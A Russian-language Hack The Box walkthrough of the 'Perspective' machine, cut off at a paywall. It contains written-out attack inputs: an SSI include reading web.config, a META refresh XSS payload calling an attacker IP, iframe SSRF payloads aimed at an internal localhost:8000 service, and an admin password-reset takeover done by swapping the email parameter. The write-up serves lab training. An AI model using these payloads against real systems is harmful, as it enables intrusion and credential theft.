Содержание статьи
Проходить будем «безумный» по сложности тренировочный стенд Perspective с площадки Hack The Box.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
, чтобы было удобнее обращаться к ней:
10.10.11.151 perspective.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Скрипт нашел два открытых порта: 22 — служба OpenSSH for Windows и 80 — веб‑сервер Microsoft IIS 10.0. Кроме как с веб‑сервером, работать пока не с чем.
Точка входа
На сайте можно зарегистрироваться и авторизоваться. Сразу сделаем это, так как зарегистрированным пользователям доступно больше функций, а значит, будет больше мест для тестирования.
На сайте есть возможность создавать и просматривать продукты. Но что более интересно, мы находим почтовый адрес админа, а также возможность сбрасывать пароль.
После ввода почтового адреса нам задают вопросы, ответы на которые мы указывали при регистрации. Причем, если мы указываем почтовый адрес админа, вместо вопросов отображается сообщение о том, что сброс пароля администратора не включает секретные вопросы и процедура недоступна.
Но если перехватить запрос на сброс пароля после ответа на вопросы, можно увидеть, что, помимо прочего, на сервер передается и почтовый адрес.
Я изменил свой почтовый адрес на admin@perspective.
и все равно получил новую форму, в которой нужно указать новый пароль. Мало того, пароль можно установить!
Авторизуемся от имени админа и получаем доступ к админской панели.
Точка опоры
Админ может смотреть продукты других пользователей, для этого достаточно указать имя пользователя или почтовый адрес.
Вдобавок к этому можно скачать PDF со списком продуктов. В нем все то же самое, что и на сайте.
Тогда перейдем обратно к созданному аккаунту и попробуем добавить продукт. Для продукта можно указать изображение — это очень интересный момент, так как это изображение (точнее, файл) будет вставлено в PDF. Значит, можно попробовать подключить файл SHTML, что при его включении в PDF позволит получить содержимое произвольного файла с диска. Давай создадим SHTML, который загрузит файл конфигураций web.
:
<!--#include file="../web.config"-->
Но при загрузке такого файла сервер выдаст ошибку — загружать можно только изображение. Это можно обойти, если в Burp Proxy исправить содержимое HTTP-заголовка Content-Type
обратно на image/
.
В Burp History обнаружим запрос к SHTML и конфигурации в ответе.
Из интересного отмечаем сервис на порте 8000, доступный для локального хоста, а также зашифрованный пароль.
XSS
Так как есть промежуточный сервис обработки и преобразования введенных нами данных, следует поискать другие уязвимости, которые помогут эксфильтровать данные с внутреннего сервера на порте 8000. И натыкаемся на фильтр XSS.
Так как используются фильтры, стоит перебрать возможные варианты нагрузок. Это поможет найти нагрузку, обходящую фильтры. Перехватываем запрос в Burp Proxy и перенаправляем в Burp Intruder (комбинация клавиш Ctrl-I, Ctrl-Shift-I).
В опциях добавим параметр Grep — Extract и выберем опознавательную строку, которая будет сообщать об обнаруженной атаке.
Эта опция добавит в результат перебора еще один столбец, который отобразит возвращенное сервером сообщение. Так мы быстро отфильтруем нагрузки, которые обходят фильтр. Для перебора я взял готовый список с гитхаба Payload Box.
В результате находим немало вариантов для эксплуатации XSS. Остановимся на использовании тега meta
:
<META HTTP-EQUIV="refresh" CONTENT="0;url=http://10.10.14.58:8000/test.html">
Эта нагрузка должна включить в отчет страницу test.
с нашего сервера. Для теста откроем на локальном хосте порт 8000 и отправим нагрузку.
Запрос пришел, а значит, сервис уязвим!
Продвижение
Теперь перейдем к содержимому подключаемого файла. В нашем HTML-файле будем использовать тег iframe
для загрузки и отображения сервиса на порте 8000.
<iframe src="http://localhost:8000/"></iframe>
Генерируем PDF и видим в нем нужную нам страницу.
Страница полностью не поместилась во фрейм, поэтому зададим ему размеры.
<iframe src="http://localhost:8000/" height="2500px" width="2500px"></iframe>
Теперь можем разобрать содержимое страницы. Видим функции encrypt
и decrypt
, а также ссылку на скрипт. Просмотрим код указанного JS-файла.
<iframe src="http://localhost:8000/swagger/v1/swagger.json" height="2000px" width="2000px"></iframe>
При обращении к странице decrypt
нужно предоставить параметр cipherTextRaw
. Теперь мы можем попробовать расшифровать полученный из файла web.
параметр ViewStateUserKey
.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»